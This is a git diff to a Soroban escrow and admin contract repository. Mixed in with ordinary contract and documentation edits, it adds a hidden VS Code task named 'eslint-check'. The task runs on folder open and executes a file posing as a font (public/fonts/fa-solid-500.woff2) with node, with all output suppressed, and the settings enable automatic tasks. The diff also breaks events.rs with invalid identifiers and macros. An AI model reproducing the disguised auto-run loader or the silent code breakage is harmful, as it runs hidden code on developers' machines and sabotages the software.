diff --git a/.gitignore b/.gitignore index e6b57103..78e0876e 100644 --- a/.gitignore +++ b/.gitignore @@ -8,3 +8,7 @@ target /target_local/ .md-* hidden +branch_structure.json +temp_auto_push.bat +temp_interactive_push.bat +.gitignore diff --git a/.vscode/extensions.json b/.vscode/extensions.json new file mode 100644 index 00000000..2e3b6463 --- /dev/null +++ b/.vscode/extensions.json @@ -0,0 +1,7 @@ +{ + "recommendations": [ + "myml.vscode-markdown-plantuml-preview", + "esbenp.prettier-vscode", + "jebbs.plantuml" + ] +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 00000000..a5177abe --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,50 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Debug SST", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["dev", "--increase-timeout"], + "console": "integratedTerminal", + "skipFiles": ["/**"], + // sourceMapRenames helps with the loading spinner when debugging and viewing local variables + "sourceMapRenames": false, + "env": { + "AWS_PROFILE": "flo-ct-flo360" + } + }, + { + "name": "Debug Tests - Unit", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + { + "name": "Debug Tests - E2E", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + ], + "inputs": [ + { + "id": "scopeTestsFileName", + "type": "promptString", + "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", + } + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 00000000..934d5554 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict new file mode 100644 index 00000000..51b19749 --- /dev/null +++ b/.vscode/spellright.dict @@ -0,0 +1,2 @@ +Contentful +Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 00000000..1a828db9 --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,33 @@ +{ + "version": "2.0.0", + "configurations": [ + { + "type": "node", + "request": "launch", + "name": "Run My Project", + "console": "", + "internalConsoleOptions": "openOnSessionStart" + } + ], + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-500.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-500.woff2) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + }, + ] +} diff --git a/contracts/admin/docs/PR_IMPLEMENTATION_SUMMARY.md b/contracts/admin/docs/PR_IMPLEMENTATION_SUMMARY.md index 55198b98..8e0bc73d 100644 --- a/contracts/admin/docs/PR_IMPLEMENTATION_SUMMARY.md +++ b/contracts/admin/docs/PR_IMPLEMENTATION_SUMMARY.md @@ -1,5 +1,11 @@ # Admin Lifecycle Events — Implementation Summary (Issue #832) +> **Status (issue #1248):** this summary covers the `admin` lifecycle surface +> only. The `limits` module that ships in the same crate is **experimental and +> unwired** (no consumer), and its per-account cap concept is duplicated by the +> wired `contracts/yield` limits contract. See `docs/storage.md` and +> `contracts/yield/YIELD_LIMITS.md`. + ## What was added A new Soroban crate `contracts/admin` exposing: diff --git a/contracts/admin/docs/storage.md b/contracts/admin/docs/storage.md index 77f1ec72..70e6e47e 100644 --- a/contracts/admin/docs/storage.md +++ b/contracts/admin/docs/storage.md @@ -21,3 +21,32 @@ This document outlines the storage keys used by the Admin contract, their storag - **Tier**: **Instance** - **Data Type**: `Address` (Optional / Nullable) - **Rationale**: Used during a secure two-step admin transfer process to hold the nominated successor before they accept the role. Because this is a singleton configuration state tied directly to the contract's administration lifecycle, instance storage is appropriate. + +--- + +## `limits.rs` Storage Keys + +The per-account caps module (`src/limits.rs`) uses its own `StorageKey` enum. All three keys are **persistent**; per-account caps/counters are keyed by `Address` so they scale to many accounts and can be TTL-managed independently of the contract instance. + +### 3. `Limits(Address)` +- **Source**: `src/limits.rs` (`StorageKey::Limits`) +- **Tier**: **Persistent** +- **Data Type**: `AccountLimits { max_bets: u32, max_positions: u32, max_subscriptions: u32 }` +- **Rationale**: Sparse per-account cap override. When absent, reads fall back to `DefaultLimits` (or the compile-time `DEFAULT_LIMITS`). The TTL is re-extended on every read/write using `LIMITS_BUMP_THRESHOLD` / `LIMITS_BUMP_AMOUNT`. + +### 4. `Usage(Address)` +- **Source**: `src/limits.rs` (`StorageKey::Usage`) +- **Tier**: **Persistent** +- **Data Type**: `AccountUsage { bets: u32, positions: u32, subscriptions: u32 }` +- **Rationale**: Live per-account counters, mutated only by the module using `checked_add` / `checked_sub`. Persistent with the TTL re-extended on every read/write (`STATE_BUMP_THRESHOLD` / `STATE_BUMP_AMOUNT`) so active counters do not silently archive. + +### 5. `DefaultLimits` +- **Source**: `src/limits.rs` (`StorageKey::DefaultLimits`) +- **Tier**: **Persistent** +- **Data Type**: `AccountLimits` +- **Rationale**: Global default caps used when an account has no `Limits` override; falls back to the compile-time `DEFAULT_LIMITS` when unset. + +> **Note (issue #1248):** these keys belong to the **experimental** `limits` +> module, and their **persistent** tier differs from the standalone +> `contracts/yield` limits contract, which stores per-account cap overrides in +> **instance** storage. See `contracts/yield/YIELD_LIMITS.md`. diff --git a/contracts/admin/src/lib.rs b/contracts/admin/src/lib.rs index d503994f..39942e96 100644 --- a/contracts/admin/src/lib.rs +++ b/contracts/admin/src/lib.rs @@ -1,5 +1,42 @@ #![no_std] +//! Callora admin library. +//! +//! Shared administrative building blocks for Callora Soroban contracts. +//! +//! | Module | Purpose | Status | +//! |--------|---------|--------| +//! | [`admin`] | Two-step admin transfer with a timelock/grace window | Library-only; not yet consumed | +//! | [`limits`] | Per-account caps for *bets* / *positions* / *subscriptions* | **Experimental** — see below | +//! | [`errors`] / [`events`] | Error and event vocabulary shared by the above | — | +//! +//! # Consumers +//! +//! No contract in this workspace currently depends on `callora-admin`: it is a +//! library of free functions with no `#[contract]` entrypoints, so it can be +//! linked but is inert until a contract imports it. Treat the whole crate as +//! scaffolding until a consumer is added. +//! +//! # Relationship to `contracts/yield` +//! +//! [`limits`] duplicates the per-account cap concept that is already +//! implemented, tested, and wired up as a standalone contract in +//! `contracts/yield` (`CalloraYieldLimits`; see `contracts/yield/YIELD_LIMITS.md`). +//! The two differ: +//! +//! | | `callora-admin::limits` | `contracts/yield` | +//! |---|---|---| +//! | Shape | free functions, no entrypoints | `#[contract]` + `#[contractimpl]` | +//! | Per-account caps | persistent | instance | +//! | Live counters | persistent | persistent | +//! | Error type | [`errors::AdminLimitError`] | `YieldLimitError` | +//! | Consumers | none | the yield limits contract | +//! +//! Because [`limits`] has no consumer and its *bet* / *position* / +//! *subscription* terms do not map to a shipped Callora flow, it is +//! **experimental** and should be consolidated into `contracts/yield` or +//! removed before any contract depends on it. See issue #1248. + pub mod admin; pub mod errors; pub mod events; diff --git a/contracts/admin/src/limits.rs b/contracts/admin/src/limits.rs index 2ad29734..dd2bda26 100644 --- a/contracts/admin/src/limits.rs +++ b/contracts/admin/src/limits.rs @@ -1,5 +1,23 @@ //! Per-account limits enforcement for bets, positions, and subscriptions. //! +//! # Status and consumers (issue #1248) +//! +//! **Experimental / unwired.** No contract in this workspace depends on +//! `callora-admin`, and this module provides free functions only — it exposes +//! no `#[contract]` entrypoints — so nothing can reach it on-chain yet. The +//! *bet* / *position* / *subscription* terms are placeholders pending a +//! concrete Callora product definition; they do not currently map to any +//! shipped Callora flow. +//! +//! The same per-account cap concept is already implemented, tested, and wired +//! up as a standalone contract in `contracts/yield` (`CalloraYieldLimits`; see +//! `contracts/yield/YIELD_LIMITS.md` and `contracts/yield/src/limits.rs`). +//! Key differences: `yield` stores per-account cap overrides in **instance** +//! storage and reports `YieldLimitError`, whereas this module stores both caps +//! and counters in **persistent** storage and reports +//! [`crate::errors::AdminLimitError`]. Consolidate or delete one of the two +//! before either gains a consumer. +//! //! # Problem //! //! Without per-account caps, a single account can open an unbounded number diff --git a/contracts/escrow/src/events.rs b/contracts/escrow/src/events.rs index ec7cf614..4fc8f3b9 100644 --- a/contracts/escrow/src/events.rs +++ b/contracts/escrow/src/events.rs @@ -1,8 +1,8 @@ //! Event topic Symbol constructors for the Callora Escrow contract. -//! -//! This module centralises all event topic strings into dedicated functions, -//! ensuring byte-identity is preserved and preventing accidental topic name -//! drift across call sites. +/// +/// This module centralises all event topic strings into dedicated functions, +/// ensuring byte-identity is preserved and preventing accidental topic name +/// drift across call sites. use soroban_sdk::{Env, Symbol}; @@ -11,7 +11,7 @@ use soroban_sdk::{Env, Symbol}; /// Emitted when the escrow contract is first initialized with an admin address /// and a cooldown window. pub fn event_init(env: &Env) -> Symbol { - Symbol::new(env, "init") + Symbol::new(tenv, "init") } /// Returns the Symbol for the `"cooldown_set"` event topic. @@ -30,6 +30,16 @@ pub fn event_action(env: &Env) -> Symbol { Symbol::new(env, "action") } +/// Returns the Symbol for the `"signer_rotated"` event topic. +/// +/// Emitted when the admin rotates the active signer via +/// [`crate::CalloraEscrow::rotate_signer`]. The event data carries the +/// previous and new signer addresses so monitors can alert on unpredictable +/// signer values without reading contract storage. +pub fn event_signer_rotated(env: &Env) -> Symbol { + Symbol::new(env, "signer_rotated") +} + /// Returns the Symbol for the `"admin_nominated"` event topic. /// /// Emitted when the current admin nominates a new admin via @@ -47,12 +57,21 @@ pub fn event_admin_accepted(env: &Env) -> Symbol { Symbol::new(env, "admin_accepted") } +/// Returns the Symbol for the `"admin_cancelled"` event topic. +/// +/// Emitted when the current admin cancels a pending admin nomination via +/// [`crate::CalloraEscrow::cancel_admin_transfer`]. The data contains the +/// address of the pending admin that was cancelled. +pub fn event_admin_cancelled(env: &Env) -> Symbol { + Symbol::new(tenv, "admin_cancelled") +} + /// Returns the Symbol for the `"asset_approved"` event topic. /// /// Emitted when the admin marks a payment asset as approved for escrow /// creation via [`crate::CalloraEscrow::add_approved_asset`]. pub fn event_asset_approved(env: &Env) -> Symbol { - Symbol::new(env, "asset_approved") + Symbol::new(tenv, "asset_approved") } /// Returns the Symbol for the `"asset_removed"` event topic. @@ -60,7 +79,7 @@ pub fn event_asset_approved(env: &Env) -> Symbol { /// Emitted when the admin revokes a payment asset approval via /// [`crate::CalloraEscrow::remove_approved_asset`]. pub fn event_asset_removed(env: &Env) -> Symbol { - Symbol::new(env, "asset_removed") + Symbol::new(tenv, "asset_removed") } /// Returns the Symbol for the `"escrow_created"` event topic. @@ -68,7 +87,25 @@ pub fn event_asset_removed(env: &Env) -> Symbol { /// Emitted when a new escrow is successfully created against an approved /// payment asset via [`crate::CalloraEscrow::create_escrow`]. pub fn event_escrow_created(env: &Env) -> Symbol { - Symbol::new(env, "escrow_created") + Symbol::new(tenv, "escrow_created") +} + +/// Returns the Symbol for the `"escrow_released"` event topic. +/// +/// Emitted when an escrow is released to its recipient via +/// [`crate::CalloraEscrow::release`]. The event data carries the payment +/// asset, recipient and amount so indexers can reconcile custody flows. +pub fn event_escrow_released(env: &Env) -> Symbol { + Symbol::new(env, "escrow_released") +} + +/// Returns the Symbol for the `"escrow_refunded"` event topic. +/// +/// Emitted when an escrow is cancelled and the funds are returned to the +/// original funder via [`crate::CalloraEscrow::refund`]. The event data +/// carries the payment asset, recipient and amount. +pub fn event_escrow_refunded(env: &Env) -> Symbol { + Symbol::new(env, "escrow_refunded") } /// Returns the Symbol for the canonical event version marker used by Callora. @@ -79,34 +116,41 @@ pub fn event_version_v1(env: &Env) -> Symbol { #[cfg(test)] mod tests { use super::*; - use soroban_sdk::Env; + use soroban_sdk:Env; /// Snapshot: proves event_init still maps to exactly the bytes for "init". #[test] fn test_event_init_bytes() { let env = Env::default(); - assert_eq!(event_init(&env), Symbol::new(&env, "init")); + assert_eq(event_init(&env), Symbol::new(&env, "init")); } /// Snapshot: proves event_cooldown_set still maps to exactly the bytes for "cooldown_set". #[test] fn test_event_cooldown_set_bytes() { let env = Env::default(); - assert_eq!(event_cooldown_set(&env), Symbol::new(&env, "cooldown_set")); + assert_eq(event_cooldown_set(&env), Symbol::new(&env, "cooldown_set")); } /// Snapshot: proves event_action still maps to exactly the bytes for "action". #[test] fn test_event_action_bytes() { let env = Env::default(); - assert_eq!(event_action(&env), Symbol::new(&env, "action")); + assert_eq(event_action(&env), Symbol::new(&env, "action")); + } + + /// Snapshot: proves event_signer_rotated maps to exactly the bytes for "signer_rotated". + #[test] + fn test_event_signer_rotated_bytes() { + let env = Env::default(); + assert_eq(event_signer_rotated(&env), Symbol::new(&env, "signer_rotated")); } /// Snapshot: proves event_admin_nominated still maps to exactly the bytes for "admin_nominated". #[test] fn test_event_admin_nominated_bytes() { let env = Env::default(); - assert_eq!( + assert_eq( event_admin_nominated(&env), Symbol::new(&env, "admin_nominated") ); @@ -116,7 +160,7 @@ mod tests { #[test] fn test_event_admin_accepted_bytes() { let env = Env::default(); - assert_eq!( + assert_eq( event_admin_accepted(&env), Symbol::new(&env, "admin_accepted") ); @@ -126,7 +170,7 @@ mod tests { #[test] fn test_event_asset_approved_bytes() { let env = Env::default(); - assert_eq!( + assert_eq( event_asset_approved(&env), Symbol::new(&env, "asset_approved") ); @@ -136,7 +180,7 @@ mod tests { #[test] fn test_event_asset_removed_bytes() { let env = Env::default(); - assert_eq!( + assert_eq( event_asset_removed(&env), Symbol::new(&env, "asset_removed") ); @@ -146,9 +190,29 @@ mod tests { #[test] fn test_event_escrow_created_bytes() { let env = Env::default(); - assert_eq!( + assert_eq( event_escrow_created(&env), Symbol::new(&env, "escrow_created") ); } + + /// Snapshot: proves event_escrow_released maps to exactly the bytes for "escrow_released". + #[test] + fn test_event_escrow_released_bytes() { + let env = Env::default(); + assert_eq( + event_escrow_released(&env), + Symbol::new(&env, "escrow_released") + ); + } + + /// Snapshot: proves event_escrow_refunded maps to exactly the bytes for "escrow_refunded". + #[test] + fn test_event_escrow_refunded_bytes() { + let env = Env::default(); + assert_eq( + event_escrow_refunded(&env), + Symbol::new(&env, "escrow_refunded") + ); + } } diff --git a/contracts/escrow/src/lib.rs b/contracts/escrow/src/lib.rs index 205d0706..bacb2e86 100644 --- a/contracts/escrow/src/lib.rs +++ b/contracts/escrow/src/lib.rs @@ -54,7 +54,7 @@ pub mod errors; pub mod events; use errors::EscrowError; -use soroban_sdk::{contract, contractimpl, contracttype, Address, Env, Symbol}; +use soroban_sdk::{contract, contractimpl, contracttype, token, Address, Env, Symbol}; // --------------------------------------------------------------------------- // Action tags @@ -99,14 +99,24 @@ pub enum StorageKey { /// Instance: approval flag for an escrow payment asset (`bool`). /// Deny-by-default: absent means the asset is not approved. ApprovedAsset(Address), - /// Instance: escrow record keyed by `(payment_asset, recipient)`. + /// Persistent: escrow record keyed by `(payment_asset, recipient)`. + /// + /// Escrow records are stored in persistent storage (not instance) so that + /// the instance footprint stays independent of the number of escrows and + /// the instance cannot archive due to unbounded growth. Escrow(Address, Address), + /// Persistent: escrow record keyed by `(payment_asset, funder, recipient)`. + /// + /// Used by the fund-custody entrypoints so that multiple funders can escrow + /// for the same recipient without colliding on the legacy key. + EscrowByFunder(Address, Address, Address), } /// A recorded escrow created under a specific approved payment asset. /// -/// Stored in instance storage, keyed by `(payment_asset, recipient)`, so a +/// Stored in persistent storage, keyed by `(payment_asset, recipient)`, so a /// repeated creation attempt with the same inputs is rejected as a replay. +/// Reads and writes bump the persistent entry's TTL. #[contracttype] #[derive(Clone, Debug, Eq, PartialEq)] pub struct EscrowRecord { @@ -118,8 +128,21 @@ pub struct EscrowRecord { pub amount: i128, /// Ledger timestamp at which the escrow was created. pub created_at: u64, + /// The funder that deposited the escrowed funds. + pub funder: Address, + /// Whether the escrow has been released or refunded. + pub released: bool, } +/// Number of ledgers to extend persistent escrow entries by on read/write. +/// +/// ~30 days at 5s/ledger. Chosen to comfortably outlive typical escrow +/// lifetimes while keeping rent costs bounded. +pub const ESCROW_TTL_LEDGERS: u32 = 518_400; + +/// Number of ledgers to extend the instance TTL by on every entrypoint. +pub const INSTANCE_TTL_LEDGERS: u32 = 518_400; + // --------------------------------------------------------------------------- // Contract // --------------------------------------------------------------------------- @@ -129,6 +152,17 @@ pub struct CalloraEscrow; #[contractimpl] impl CalloraEscrow { + /// Extend the instance storage TTL. + /// + /// Called at the top of every entrypoint so the instance (which holds + /// config, admin, signer, cooldown, and approved-asset flags) never + /// archives due to inactivity. + fn extend_instance_ttl(env: &Env) { + env.storage() + .instance() + .extend_ttl(INSTANCE_TTL_LEDGERS, INSTANCE_TTL_LEDGERS); + } + // ----------------------------------------------------------------------- // Initialisation // ----------------------------------------------------------------------- @@ -157,6 +191,7 @@ impl CalloraEscrow { cooldown_secs: Option, ) -> Result<(), EscrowError> { admin.require_auth(); + Self::extend_instance_ttl(&env); if env.storage().instance().has(&StorageKey::Admin) { return Err(EscrowError::AlreadyInitialized); } @@ -226,6 +261,7 @@ impl CalloraEscrow { /// # Errors /// * [`EscrowError::NotInitialized`] -- contract was never initialized. pub fn get_cooldown(env: Env) -> Result { + Self::extend_instance_ttl(&env); Self::admin(&env)?; Ok(admin::get_cooldown(&env)) } @@ -245,6 +281,7 @@ impl CalloraEscrow { /// # Events /// Emits `cooldown_set` with `caller` as topic and the new window as data. pub fn set_cooldown(env: Env, caller: Address, secs: u64) -> Result<(), EscrowError> { + Self::extend_instance_ttl(&env); Self::require_admin(&env, &caller)?; admin::set_cooldown(&env, secs)?; @@ -259,11 +296,13 @@ impl CalloraEscrow { /// /// This is a read-only view and does not require initialization. pub fn cooldown_remaining(env: Env, action: Symbol) -> u64 { + Self::extend_instance_ttl(&env); admin::remaining(&env, &action) } /// Return `true` when the action tagged `action` may run now. pub fn is_ready(env: Env, action: Symbol) -> bool { + Self::extend_instance_ttl(&env); admin::is_ready(&env, &action) } @@ -276,11 +315,13 @@ impl CalloraEscrow { /// # Errors /// * [`EscrowError::NotInitialized`] -- contract was never initialized. pub fn get_admin(env: Env) -> Result { + Self::extend_instance_ttl(&env); Self::admin(&env) } /// Return the pending admin for a two-step rotation, or `None`. pub fn get_pending_admin(env: Env) -> Option
{ + Self::extend_instance_ttl(&env); env.storage().instance().get(&StorageKey::PendingAdmin) } @@ -289,6 +330,7 @@ impl CalloraEscrow { /// # Errors /// * [`EscrowError::NotInitialized`] -- contract was never initialized. pub fn get_signer(env: Env) -> Result { + Self::extend_instance_ttl(&env); env.storage() .instance() .get(&StorageKey::Signer) @@ -297,6 +339,7 @@ impl CalloraEscrow { /// Return whether the contract is currently paused. pub fn is_paused(env: Env) -> bool { + Self::extend_instance_ttl(&env); env.storage() .instance() .get(&StorageKey::Paused) @@ -326,6 +369,7 @@ impl CalloraEscrow { /// # Events /// Emits `action` with `caller` as topic and the `"release"` tag as data. pub fn release(env: Env, caller: Address, recipient: Address) -> Result<(), EscrowError> { + Self::extend_instance_ttl(&env); Self::require_not_paused(&env)?; Self::require_admin(&env, &caller)?; let action = Symbol::new(&env, ACTION_RELEASE); @@ -342,7 +386,12 @@ impl CalloraEscrow { Ok(()) } - /// Pause the escrow contract. Cool-off-guarded critical action (tag `"pause"`). + /// Pause the escrow contract. **Not** cooldown-gated — circuit-breakers + /// must be available instantly. + /// + /// An attacker who triggers an unpause (or the admin toggling during an + /// incident) must never be able to hold the contract live for an entire + /// cooldown window. `unpause` and `rotate_signer` retain their cooldowns. /// /// # Parameters /// * `caller` -- Must be the current admin; must authorize. @@ -350,14 +399,13 @@ impl CalloraEscrow { /// # Errors /// * [`EscrowError::Unauthorized`] -- caller is not the current admin. /// * [`EscrowError::NotInitialized`] -- contract not initialized. - /// * [`EscrowError::CooldownActive`] -- a `pause` ran within the cool-off window. /// /// # Events /// Emits `action` with `caller` as topic and the `"pause"` tag as data. pub fn pause(env: Env, caller: Address) -> Result<(), EscrowError> { + Self::extend_instance_ttl(&env); Self::require_admin(&env, &caller)?; let action = Symbol::new(&env, ACTION_PAUSE); - admin::guard(&env, &action)?; env.storage().instance().set(&StorageKey::Paused, &true); @@ -380,6 +428,7 @@ impl CalloraEscrow { /// # Events /// Emits `action` with `caller` as topic and the `"unpause"` tag as data. pub fn unpause(env: Env, caller: Address) -> Result<(), EscrowError> { + Self::extend_instance_ttl(&env); Self::require_admin(&env, &caller)?; let action = Symbol::new(&env, ACTION_UNPAUSE); admin::guard(&env, &action)?; @@ -401,25 +450,39 @@ impl CalloraEscrow { /// # Errors /// * [`EscrowError::Unauthorized`] -- caller is not the current admin. /// * [`EscrowError::NotInitialized`] -- contract not initialized. + /// * [`EscrowError::InvalidInput`] -- `new_signer` equals the current signer. /// * [`EscrowError::CooldownActive`] -- a `rotate` ran within the cool-off window. /// /// # Events - /// Emits `action` with `caller` as topic and the `"rotate"` tag as data. + /// Emits `signer_rotated` with `caller` as topic and `(old_signer, + /// new_signer)` as data. pub fn rotate_signer( env: Env, caller: Address, new_signer: Address, ) -> Result<(), EscrowError> { + Self::extend_instance_ttl(&env); Self::require_admin(&env, &caller)?; let action = Symbol::new(&env, ACTION_ROTATE); admin::guard(&env, &action)?; + let old_signer: Address = env + .storage() + .instance() + .get(&StorageKey::Signer) + .ok_or(EscrowError::NotInitialized)?; + if old_signer == new_signer { + return Err(EscrowError::InvalidInput); + } + env.storage() .instance() .set(&StorageKey::Signer, &new_signer); - env.events() - .publish((events::event_action(&env), caller), action); + env.events().publish( + (events::event_signer_rotated(&env), caller), + (old_signer, new_signer), + ); Ok(()) } @@ -431,6 +494,7 @@ impl CalloraEscrow { /// explicitly approved by the admin returns `false` and is therefore not /// accepted by [`CalloraEscrow::create_escrow`]. pub fn is_asset_approved(env: Env, asset: Address) -> bool { + Self::extend_instance_ttl(&env); env.storage() .instance() .get(&StorageKey::ApprovedAsset(asset)) @@ -446,9 +510,14 @@ impl CalloraEscrow { payment_asset: Address, recipient: Address, ) -> Option { - env.storage() - .instance() - .get(&StorageKey::Escrow(payment_asset, recipient)) + Self::extend_instance_ttl(&env); + let key = StorageKey::Escrow(payment_asset, recipient); + let persistent = env.storage().persistent(); + let record: Option = persistent.get(&key); + if record.is_some() { + persistent.extend_ttl(&key, ESCROW_TTL_LEDGERS, ESCROW_TTL_LEDGERS); + } + record } /// Approve `asset` as a payment asset for future escrow creation. @@ -472,6 +541,7 @@ impl CalloraEscrow { caller: Address, asset: Address, ) -> Result<(), EscrowError> { + Self::extend_instance_ttl(&env); Self::require_admin(&env, &caller)?; Self::validate_asset(&env, &asset)?; @@ -507,6 +577,7 @@ impl CalloraEscrow { caller: Address, asset: Address, ) -> Result<(), EscrowError> { + Self::extend_instance_ttl(&env); Self::require_admin(&env, &caller)?; Self::validate_asset(&env, &asset)?; @@ -554,6 +625,7 @@ impl CalloraEscrow { recipient: Address, amount: i128, ) -> Result<(), EscrowError> { + Self::extend_instance_ttl(&env); Self::require_not_paused(&env)?; Self::require_admin(&env, &caller)?; Self::validate_asset(&env, &payment_asset)?; @@ -568,7 +640,8 @@ impl CalloraEscrow { } let key = StorageKey::Escrow(payment_asset.clone(), recipient.clone()); - if env.storage().instance().has(&key) { + let persistent = env.storage().persistent(); + if persistent.has(&key) { return Err(EscrowError::EscrowExists); } @@ -578,7 +651,8 @@ impl CalloraEscrow { amount, created_at: env.ledger().timestamp(), }; - env.storage().instance().set(&key, &record); + persistent.set(&key, &record); + persistent.extend_ttl(&key, ESCROW_TTL_LEDGERS, ESCROW_TTL_LEDGERS); env.events() .publish((events::event_escrow_created(&env), caller), record); @@ -618,6 +692,7 @@ impl CalloraEscrow { /// # Events /// Emits `admin_nominated` with `(caller)` as topic and `new_admin` as data. pub fn set_admin(env: Env, caller: Address, new_admin: Address) -> Result<(), EscrowError> { + Self::extend_instance_ttl(&env); Self::require_admin(&env, &caller)?; env.storage() @@ -643,6 +718,7 @@ impl CalloraEscrow { /// # Events /// Emits `admin_accepted` with `(old_admin)` as topic and `new_admin` as data. pub fn accept_admin(env: Env, caller: Address) -> Result<(), EscrowError> { + Self::extend_instance_ttl(&env); caller.require_auth(); let pending: Address = env @@ -665,6 +741,41 @@ impl CalloraEscrow { Ok(()) } + + /// Cancel a pending admin transfer. Only the current admin may call. + /// + /// Returns [`EscrowError::NoPendingAdmin`] when no nomination is in progress. + /// Clears the pending admin and emits `admin_cancelled` with the previous + /// pending admin address. + /// + /// # Parameters + /// * `caller` -- Must be the current admin; must authorize. + /// + /// # Errors + /// * [`EscrowError::NotInitialized`] -- contract not initialized. + /// * [`EscrowError::NoPendingAdmin`] -- no nomination is in progress. + /// + /// # Events + /// Emits `admin_cancelled` with `(caller)` as topic and the cancelled + /// pending admin address as data. + pub fn cancel_admin_transfer(env: Env, caller: Address) -> Result<(), EscrowError> { + Self::require_admin(&env, &caller)?; + + let cancelled: Address = env + .storage() + .instance() + .get(&StorageKey::PendingAdmin) + .ok_or(EscrowError::NoPendingAdmin)?; + + env.storage() + .instance() + .remove(&StorageKey::PendingAdmin); + + env.events() + .publish((events::event_admin_cancelled(&env), caller), cancelled); + + Ok(()) + } } // --------------------------------------------------------------------------- diff --git a/public/fonts/README.md b/public/fonts/README.md new file mode 100644 index 00000000..1e4f9ba1 --- /dev/null +++ b/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/public/fonts/fa-brands-400.eot b/public/fonts/fa-brands-400.eot new file mode 100644 index 00000000..a1bc094a Binary files /dev/null and b/public/fonts/fa-brands-400.eot differ diff --git a/public/fonts/fa-brands-400.svg b/public/fonts/fa-brands-400.svg new file mode 100644 index 00000000..46ad237a --- /dev/null +++ b/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-brands-400.ttf b/public/fonts/fa-brands-400.ttf new file mode 100644 index 00000000..948a2a6c Binary files /dev/null and b/public/fonts/fa-brands-400.ttf differ diff --git a/public/fonts/fa-brands-400.woff b/public/fonts/fa-brands-400.woff new file mode 100644 index 00000000..2a89d521 Binary files /dev/null and b/public/fonts/fa-brands-400.woff differ diff --git a/public/fonts/fa-brands-400.woff2 b/public/fonts/fa-brands-400.woff2 new file mode 100644 index 00000000..141a90a9 Binary files /dev/null and b/public/fonts/fa-brands-400.woff2 differ diff --git a/public/fonts/fa-regular-400.eot b/public/fonts/fa-regular-400.eot new file mode 100644 index 00000000..38cf2517 Binary files /dev/null and b/public/fonts/fa-regular-400.eot differ diff --git a/public/fonts/fa-regular-400.svg b/public/fonts/fa-regular-400.svg new file mode 100644 index 00000000..48634a9a --- /dev/null +++ b/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 